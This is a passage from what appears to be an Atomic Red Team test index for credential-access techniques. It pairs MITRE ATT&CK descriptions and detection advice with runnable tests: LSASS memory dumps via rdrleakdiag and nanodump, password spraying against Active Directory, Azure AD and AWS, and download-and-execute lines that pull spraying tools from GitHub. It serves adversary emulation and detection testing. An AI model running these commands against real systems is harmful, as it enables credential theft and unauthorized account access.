          \ } elseif (Test-Path -Path \"$env:SystemRoot\\SysWOW64\\rdrleakdiag.exe\")
          {\n      $binary_path = \"$env:SystemRoot\\SysWOW64\\rdrleakdiag.exe\"\n
          \ } else {\n      $binary_path = \"File not found\"\n      exit 1\n  }\n$lsass_pid
          = get-process lsass |select -expand id\nif (-not (Test-Path -Path\"$env:TEMP\\t1003.001-13-rdrleakdiag\"))
          {New-Item -ItemType Directory -Path $env:TEMP\\t1003.001-13-rdrleakdiag
          -Force} \nwrite-host $binary_path /p $lsass_pid /o $env:TEMP\\t1003.001-13-rdrleakdiag
          /fullmemdmp /wait 1\n& $binary_path /p $lsass_pid /o $env:TEMP\\t1003.001-13-rdrleakdiag
          /fullmemdmp /wait 1\nWrite-Host \"Minidump file, minidump_$lsass_pid.dmp
          can be found inside $env:TEMP\\t1003.001-13-rdrleakdiag directory.\"\n"
        cleanup_command: 'Remove-Item $env:TEMP\t1003.001-13-rdrleakdiag -Recurse
          -Force -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Dump LSASS.exe Memory through Silent Process Exit
      auto_generated_guid: eb5adf16-b601-4926-bca7-dad22adffb37
      description: "WerFault.exe (Windows Error Reporting process that handles process
        crashes) can be abused to create a \nmemory dump of lsass.exe, in a directory
        of your choice. This method relies on a mechanism \nintroduced in Windows
        7 called Silent Process Exit, which provides the ability to trigger\nspecific
        actions for a monitored process in one of two scenarios; either the process
        terminates\nitself by calling ExitProcess(), or another process terminates
        it via the TerminateProcess() API. \nThe major advantage of this technique
        is that it does not cause lsass.exe to crash, and since \nWerFault.exe is
        used to create file dumps all the time (not just lsass.exe), this method provides
        \nthe added advantage of going undetected. WerFault.exe is a process known
        for dumping every crashing process, \nfrom an attacker standpoint this is
        appealing as their illicit credential extraction will \nappear benign because
        from a defender’s viewpoint it’s within the realm of normal activity.\n\nUpon
        successful execution, you should find the dump file in directory of your choice
        or \"%temp%\\SilentProcessExit\" by default.\n"
      supported_platforms:
      - windows
      input_arguments:
        output_folder:
          description: Folder Path where resulting dump should be placed
          type: path
          default: "%temp%\\SilentProcessExit"
      dependency_executor_name: powershell
      dependencies:
      - description: 'NanoDump executable must exist on disk at specified location
          (PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)

          '
        prereq_command: 'if (Test-Path PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe)
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://github.com/fortra/nanodump/blob/2c0b3d5d59c56714312131de9665defb98551c27/dist/nanodump.x64.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe"
      executor:
        command: 'PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit
          "#{output_folder}"

          '
        cleanup_command: 'rmdir "#{output_folder}" /s /q >nul 2> nul

          '
        name: command_prompt
        elevation_required: true
  T1110.003:
    technique:
      modified: '2024-03-07T14:33:34.201Z'
      name: 'Brute Force: Password Spraying'
      description: |-
        Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)

        Typically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:

        * SSH (22/TCP)
        * Telnet (23/TCP)
        * FTP (21/TCP)
        * NetBIOS / SMB / Samba (139/TCP & 445/TCP)
        * LDAP (389/TCP)
        * Kerberos (88/TCP)
        * RDP / Terminal Services (3389/TCP)
        * HTTP/HTTP Management Services (80/TCP & 443/TCP)
        * MSSQL (1433/TCP)
        * Oracle (1521/TCP)
        * MySQL (3306/TCP)
        * VNC (5900/TCP)

        In addition to management services, adversaries may "target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols," as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)

        In default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows "logon failure" event ID 4625.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Microsoft Threat Intelligence Center (MSTIC)
      - John Strand
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). Specifically, monitor for many failed authentication attempts across various accounts that may result from password spraying attempts.

        Consider the following event IDs:(Citation: Trimarc Detecting Password Spraying)

        * Domain Controllers: "Audit Logon" (Success & Failure) for event ID 4625.
        * Domain Controllers: "Audit Kerberos Authentication Service" (Success & Failure) for event ID 4771.
        * All systems: "Audit Logon" (Success & Failure) for event ID 4648.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      - Network
      x_mitre_version: '1.5'
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Application Log: Application Log Content'
      type: attack-pattern
      id: attack-pattern--692074ae-bb62-4a5e-a735-02cb6bde458c
      created: '2020-02-11T18:39:25.122Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1110/003
        external_id: T1110.003
      - source_name: Trimarc Detecting Password Spraying
        description: 'Metcalf, S. (2018, May 6). Trimarc Research: Detecting Password
          Spraying with Security Event Auditing. Retrieved January 16, 2019.'
        url: https://www.trimarcsecurity.com/single-post/2018/05/06/Trimarc-Research-Detecting-Password-Spraying-with-Security-Event-Auditing
      - source_name: BlackHillsInfosec Password Spraying
        description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with
          RPCCLIENT. Retrieved April 25, 2017.
        url: http://www.blackhillsinfosec.com/?p=4645
      - source_name: US-CERT TA18-068A 2018
        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
          by Cyber Actors. Retrieved October 2, 2019.
        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1110.003
    atomic_tests:
    - name: Password Spray all Domain Users
      auto_generated_guid: 90bc2e54-6c84-47a5-9439-0a2a92b4b175
      description: |-
        CAUTION! Be very careful to not exceed the password lockout threshold for users in the domain by running this test too frequently.
        This atomic attempts to map the IPC$ share on one of the Domain Controllers using a password of Spring2020 for each user in the %temp%\users.txt list. Any successful authentications will be printed to the screen with a message like "[*] username:password", whereas a failed auth will simply print a period. Use the input arguments to specify your own password to use for the password spray.
        Use the get_prereq_command's to create a list of all domain users in the temp directory called users.txt.
        See the "Windows FOR Loop Password Spraying Made Easy" blog by @OrOneEqualsOne for more details on how these spray commands work. https://medium.com/walmartlabs/windows-for-loop-password-spraying-made-easy-c8cd4ebb86b5
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: The password to try for each user in users.txt
          type: string
          default: Spring2020
      dependencies:
      - description: 'List of domain users to password spray must exits at %temp%\users.txt

          '
        prereq_command: 'if not exist %temp%\users.txt (exit /b 1)

          '
        get_prereq_command: '"PathToAtomicsFolder\T1110.003\src\parse_net_users.bat"

          '
      executor:
        name: command_prompt
        elevation_required: false
        command: '@FOR /F %n in (%temp%\users.txt) do @echo | set/p=. & @net use %logonserver%\IPC$
          /user:"%userdomain%\%n" "#{password}" 1>NUL 2>&1 && @echo [*] %n:#{password}
          && @net use /delete %logonserver%\IPC$ > NUL

          '
    - name: Password Spray (DomainPasswordSpray)
      auto_generated_guid: 263ae743-515f-4786-ac7d-41ef3a0d4b2b
      description: |
        Perform a domain password spray using the DomainPasswordSpray tool. It will try a single password against all users in the domain

        https://github.com/dafthack/DomainPasswordSpray
      supported_platforms:
      - windows
      input_arguments:
        domain:
          description: Domain to brute force against
          type: string
          default: "$Env:USERDOMAIN"
      executor:
        name: powershell
        elevation_required: false
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (IWR 'https://raw.githubusercontent.com/dafthack/DomainPasswordSpray/94cb72506b9e2768196c8b6a4b7af63cebc47d88/DomainPasswordSpray.ps1' -UseBasicParsing); Invoke-DomainPasswordSpray -Password Spring2017 -Domain #{domain} -Force
    - name: Password spray all Active Directory domain users with a single password
        via LDAP against domain controller (NTLM or Kerberos)
      auto_generated_guid: f14d956a-5b6e-4a93-847f-0c415142f07d
      description: |
        Attempt to brute force all Active Directory domain users with a single password (called "password spraying") on a domain controller, via LDAP, with NTLM or Kerberos

        Prerequisite: AD RSAT PowerShell module is needed and it must run under a domain user (to fetch the list of all domain users)
      supported_platforms:
      - windows
      input_arguments:
        password:
          description: single password we will attempt to auth with (if you need several
            passwords, then it is a bruteforce so see T1110.001)
          type: string
          default: P@ssw0rd!
        domain:
          description: Domain FQDN
          type: string
          default: "$env:UserDnsDomain"
        auth:
          description: authentication method to choose between "NTLM" and "Kerberos"
          type: string
          default: NTLM
      executor:
        name: powershell
        elevation_required: false
        command: |
          if ("#{auth}".ToLower() -NotIn @("ntlm","kerberos")) {
            Write-Host "Only 'NTLM' and 'Kerberos' auth methods are supported"
            exit 1
          }

          $DomainUsers = Get-ADUser -LDAPFilter '(&(sAMAccountType=805306368)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))' -Server #{domain} | Select-Object -ExpandProperty SamAccountName

          [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols") | Out-Null
          $di = new-object System.DirectoryServices.Protocols.LdapDirectoryIdentifier("#{domain}",389)

          $DomainUsers | Foreach-Object {
            $user = $_
            $password = '#{password}'

            $credz = new-object System.Net.NetworkCredential($user, $password, "#{domain}")
            $conn = new-object System.DirectoryServices.Protocols.LdapConnection($di, $credz, [System.DirectoryServices.Protocols.AuthType]::#{auth})
            try {
              Write-Host " [-] Attempting ${password} on account ${user}."
              $conn.bind()
              # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
              Write-Host " [!] ${user}:${password} are valid credentials!"
            } catch {
              Write-Host $_.Exception.Message
            }
          }
          Write-Host "End of password spraying"
    - name: Password spray all Azure AD users with a single password
      auto_generated_guid: a8aa2d3e-1c52-4016-bc73-0f8854cfa80a
      description: |
        Attempt to brute force all Azure AD users with a single password (called "password spraying") via AzureAD Powershell module.
        Valid credentials are only needed to fetch the list of Azure AD users.
      supported_platforms:
      - azure-ad
      input_arguments:
        password:
          description: Single password we will attempt to auth with (if you need several
            passwords, then it is a bruteforce so see T1110.001)
          type: string
          default: P@ssw0rd!
        valid_username:
          description: Valid username to retrieve Azure AD users. We encourage users
            running this atomic to add a valid microsoft account domain; for eg <valid_test_user>@<valid_ms_account.com>
          type: string
          default: bruce.wayne@contoso.com
        valid_password:
          description: Valid password to authenticate as valid_username in the <valid_ms_account>
          type: string
          default: iamthebatman
      dependency_executor_name: powershell
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        name: powershell
        elevation_required: false
        command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{valid_password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{valid_username}", $Pword
          Connect-AzureAD -Credential $Credential > $null

          ($Users = Get-AzureADUser -All $true) > $null
          Disconnect-AzureAD > $null
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force

          $Users | Foreach-Object {
            $user = $_.UserPrincipalName
            $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "$user", $Pword
            try {
              Write-Host " [-] Attempting #{password} on account ${user}."
              Connect-AzureAD -Credential $Credential 2>&1> $null
              # if credentials aren't correct, it will break just above and goes into catch block, so if we're here we can display success
              Write-Host " [!] ${user}:#{password} are valid credentials!`r`n"
              Disconnect-AzureAD > $null
            } catch {
              Write-Host " [-] ${user}:#{password} invalid credentials.`r`n"
            }
          }
          Write-Host "End of password spraying"
    - name: WinPwn - DomainPasswordSpray Attacks
      auto_generated_guid: 5ccf4bbd-7bf6-43fc-83ac-d9e38aff1d82
      description: DomainPasswordSpray Attacks technique via function of WinPwn
      supported_platforms:
      - windows
      executor:
        command: |-
          $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
          iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
          domainpassspray -consoleoutput -noninteractive -emptypasswords
        name: powershell
    - name: Password Spray Invoke-DomainPasswordSpray Light
      auto_generated_guid: b15bc9a5-a4f3-4879-9304-ea0011ace63a
      description: "Perform a domain password spray using the same core method of
        the [DomainPasswordSpray tool](https://github.com/dafthack/DomainPasswordSpray)
        \nbut without all the extra code that makes the script get blocked by many
        AVs. \nThis atomic test will attempt a single password against all users in
        a password list at $env:Temp\\usersdpsLight.txt. You can create this file
        manually\nor with the automated prereq_command. The prereq_command will limit
        the user list to 200 users by default to help you avoid massive account lockout.\n"
      supported_platforms:
      - windows
      input_arguments:
        user_limit:
          description: The max number of users to put in the list when running the
            prereq_command
          type: integer
          default: 200
        password:
          description: The password to try for each user in users.txt
          type: string
          default: Spring2020
      dependencies:
      - description: 'Username file must exist at $env:Temp\usersdpsLight.txt

          '
        prereq_command: 'if (Test-Path  $env:Temp\usersdpsLight.txt) {exit 0} else
          {exit 1}

          '
        get_prereq_command: "Write-Host -NoNewLine \"Reading Users.\" # this code
          modifed from https://github.com/ZoomerHulkHogan/Powershell-Domain-User-Enumeration\n$netOutput
          = net users /domain\n$netOutput = [System.Collections.ArrayList]($netOutput[6..($netOutput.length-3)])\n$userLimit
          = #{user_limit}; $usercount = 0\nforeach ($line in $netOutput) {\n  if($usercount
          -ge $userLimit){break}\n  $line = $line.trim()\n  $line = $line -split '\\s\\s+'\n
          \ foreach ($user in $line){\n    if($usercount -ge $userLimit){break}\n
          \   Add-Content $env:Temp\\usersdpsLight.txt $user\n    $usercount = $usercount
          + 1\n    }  \n}\nWrite-Host \"Usernames saved to $env:Temp\\usersdpsLight.txt\"\n"
      executor:
        name: powershell
        elevation_required: false
        command: |
          function Invoke-dpsLight ($Password, $userlist) {
          $users = Get-Content $userlist
          $Domain = "LDAP://" + ([ADSI]"").distinguishedName
          foreach ($User in $users) {
            $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($Domain, $User, $Password)
            if ($Domain_check.name -ne $null) {
              Write-Host -ForegroundColor Green "Password found for User:$User Password:$Password"
            }
            else { Write-Host ". " -NoNewline}
          }
          Write-Host -ForegroundColor green "Finished"
          }
          Invoke-dpsLight "#{password}" $env:Temp\usersdpsLight.txt
    - name: Password Spray Microsoft Online Accounts with MSOLSpray (Azure/O365)
      auto_generated_guid: f3a10056-0160-4785-8744-d9bd7c12dc39
      description: 'This test attempts to brute force a list of Microsoft Online (Azure/O365)
        users with a single password via the MSOLSpray Powershell module.

        '
      supported_platforms:
      - azure-ad
      input_arguments:
        password:
          description: Single password to try against the list of user accounts
          type: string
          default: P@ssword1
        user_list:
          description: File path to list of users (one per line, formatted as user@subdomain.onmicrosoft.com)
          type: string
          default: "$env:temp\\T1110.003UserList.txt"
      dependency_executor_name: powershell
      dependencies:
      - description: 'MSOLSpray module must exist in PathToAtomicsFolder\..\ExternalPayloads.

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://raw.githubusercontent.com/dafthack/MSOLSpray/922f159104fb3ec77c9fc6507a6388a05c227b5f/MSOLSpray.ps1" -outfile "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
      executor:
        name: powershell
        elevation_required: false
        command: |
          import-module "PathToAtomicsFolder\..\ExternalPayloads\MSOLSpray.ps1"
          Invoke-MSOLSpray -UserList "#{user_list}" -Password "#{password}"
    - name: Password Spray using Kerbrute Tool
      auto_generated_guid: c6f25ec3-6475-47a9-b75d-09ac593c5ecb
      description: 'Test a single password against a list of users

        '
      supported_platforms:
      - windows
      input_arguments:
        domaincontroller:
          description: Domain controller where test will be run
          type: string
          default: "$ENV:userdnsdomain"
        domain:
          description: Domain where you will be testing
          type: string
          default: "$ENV:userdomain"
      dependency_executor_name: powershell
      dependencies:
      - description: 'kerbrute.exe must exist in PathToAtomicsFolder\..\ExternalPayloads

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_386.exe" -outfile "PathToAtomicsFolder\..\ExternalPayloads\kerbrute.exe"
      - description: 'passwordspray.txt must exist in PathToAtomicsFolder\..\ExternalPayloads

          '
        prereq_command: 'if (test-path "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"){exit
          0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          invoke-webrequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1110.003/src/passwordspray.txt?raw=true" -outfile "PathToAtomicsFolder\..\ExternalPayloads\passwordspray.txt"
      executor:
        name: powershell
        elevation_required: false
        command: "cd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe
          passwordspray --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\passwordspray.txt\"
          password132 \n"
    - name: AWS - Password Spray an AWS using GoAWSConsoleSpray
      auto_generated_guid: 9c10d16b-20b1-403a-8e67-50ef7117ed4e
      description: 'GoAWSConsoleSpray is a tool that can be used to spray AWS IAM
        Console Credentials in order to identify a valid login for a user account
        built by WhiteOakSecurity. For more details reagrding the tool, check - https://www.whiteoaksecurity.com/blog/goawsconsolespray-password-spraying-tool/

        '
      supported_platforms:
      - iaas:aws
      input_arguments:
        aws_account_id:
          description: ID of the AWS account
          type: string
          default: XXXXXXXX
      dependencies:
      - description: 'Check if go is installed

          '
        prereq_command: 'go version

          '
        get_prereq_command: 'echo Install GO

          '
      executor:
        command: |
          cd /tmp
          git clone git@github.com:WhiteOakSecurity/GoAWSConsoleSpray.git
          cd /tmp/GoAWSConsoleSpray
          go run main.go GoAWSConsoleSpray -a #{aws_account_id} -u PathToAtomicsFolder/T1110.003/src/aws_users.txt -p PathToAtomicsFolder/T1110.003/src/aws_passwords.txt
        cleanup_command: 'rm -rf /tmp/GoAWSConsoleSpray

          '
        name: sh
        elevation_required: false
  T1056.003:
    technique:
      modified: '2023-03-30T21:01:46.711Z'
      name: Web Portal Capture
      description: |-
        Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.

        This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: collection
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: File monitoring may be used to detect changes to files in
        the Web directory for organization login pages that do not match with authorized
        updates to the Web server's content.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      x_mitre_system_requirements:
      - An externally facing login portal is configured.
      type: attack-pattern
      id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e
      created: '2020-02-11T18:59:50.058Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1056/003
        external_id: T1056.003
      - source_name: Volexity Virtual Private Keylogging
        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
        url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      spec_version: '2.1'
    atomic_tests: []
  T1003.005:
    technique:
      modified: '2024-04-18T23:47:54.553Z'
      name: 'OS Credential Dumping: Cached Domain Credentials'
      description: "Adversaries may attempt to access cached domain credentials used
        to allow authentication to occur in the event a domain controller is unavailable.(Citation:
        Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is
        DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2
        hash.(Citation: PassLib mscache) The number of default cached credentials
        varies and can be altered per system. This hash does not allow pass-the-hash
        style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002)
        to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems,
        Active Directory credentials can be accessed through caches maintained by
        software like System Security Services Daemon (SSSD) or Quest Authentication
        Services (formerly VAS). Cached credential hashes are typically located at
        `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb`
        for Quest. Adversaries can use utilities, such as `tdbdump`, on these database
        files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002)
        to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith
        SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002),
        [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows
        or Linikatz for Linux can be used to extract the cached credentials.(Citation:
        Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are
        derived using PBKDF2.(Citation: PassLib mscache)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      - Tim (Wadhwa-)Brown
      - Yves Yonan
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

        Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Linux
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      type: attack-pattern
      id: attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530
      created: '2020-02-21T15:42:25.991Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1003/005
        external_id: T1003.005
      - source_name: PassLib mscache
        description: Eli Collins. (2016, November 25). Windows' Domain Cached Credentials
          v2. Retrieved February 21, 2020.
        url: https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html
      - source_name: ired mscache
        description: Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking
          mscash - Cached Domain Credentials. Retrieved February 21, 2020.
        url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials
      - source_name: Microsoft - Cached Creds
        description: Microsoft. (2016, August 21). Cached and Stored Credentials Technical
          Overview. Retrieved February 21, 2020.
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)
      - source_name: Powersploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        url: https://github.com/mattifestation/PowerSploit
      - source_name: Brining MimiKatz to Unix
        description: Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing
          Mimikatz et al to UNIX. Retrieved October 13, 2021.
        url: https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1003.005
    atomic_tests:
    - name: Cached Credential Dump via Cmdkey
      auto_generated_guid: 56506854-89d6-46a3-9804-b7fde90791f9
      description: |
        List credentials currently stored on the host via the built-in Windows utility cmdkey.exe
        Credentials listed with Cmdkey only pertain to the current user
        Passwords will not be displayed once they are stored
        https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmdkey
        https://www.peew.pw/blog/2017/11/26/exploring-cmdkey-an-edge-case-for-privilege-escalation
      supported_platforms:
      - windows
      executor:
        name: command_prompt
        elevation_required: false
        command: 'cmdkey /list

          '
  T1558.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Itamar Mizrahi, Cymptom
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--768dce68-8d0d-477a-b01d-0eea98b963a1
      type: attack-pattern
      created: '2020-02-11T19:13:33.643Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1558.001
        url: https://attack.mitre.org/techniques/T1558/001
      - url: https://adsecurity.org/?p=1640
        description: Metcalf, S. (2015, August 7). Kerberos Golden Tickets are Now
          More Golden. Retrieved December 1, 2017.
        source_name: AdSecurity Kerberos GT Aug 2015
      - url: https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf
        description: Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016,
          April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.
        source_name: CERT-EU Golden Ticket Protection
      - url: https://adsecurity.org/?p=1515
        description: Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket
          (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December
          23, 2015.
        source_name: ADSecurity Detecting Forged Tickets
      - description: 'Sean Metcalf. (2014, November 10). Kerberos & KRBTGT: Active
          Directory’s Domain Kerberos Service Account. Retrieved January 30, 2020.'
        url: https://adsecurity.org/?p=483
        source_name: ADSecurity Kerberos and KRBTGT
      - source_name: Stealthbits Detect PtT 2019
        url: https://blog.stealthbits.com/detect-pass-the-ticket-attacks
        description: Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket
          Attacks. Retrieved February 27, 2020.
      - source_name: Microsoft Kerberos Golden Ticket
        url: https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285
        description: Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated).
          Retrieved February 27, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: 'Steal or Forge Kerberos Tickets: Golden Ticket'
      description: "Adversaries who have the KRBTGT account password hash may forge
        Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation:
        AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate
        authentication material for any account in Active Directory.(Citation: CERT-EU
        Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then
        able to request ticket granting service (TGS) tickets, which enable access
        to specific resources. Golden tickets require adversaries to interact with
        the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity
        Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers
        that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution
        Center (KDC) service account and is responsible for encrypting and signing
        all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT
        password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
        and privileged access to a domain controller."
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      x_mitre_detection: "Monitor for anomalous Kerberos activity, such as malformed
        or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634),
        RC4 encryption within TGTs, and TGS requests without preceding TGT requests.(Citation:
        ADSecurity Kerberos and KRBTGT)(Citation: CERT-EU Golden Ticket Protection)(Citation:
        Stealthbits Detect PtT 2019)\n\nMonitor the lifetime of TGT tickets for values
        that differ from the default domain duration.(Citation: Microsoft Kerberos
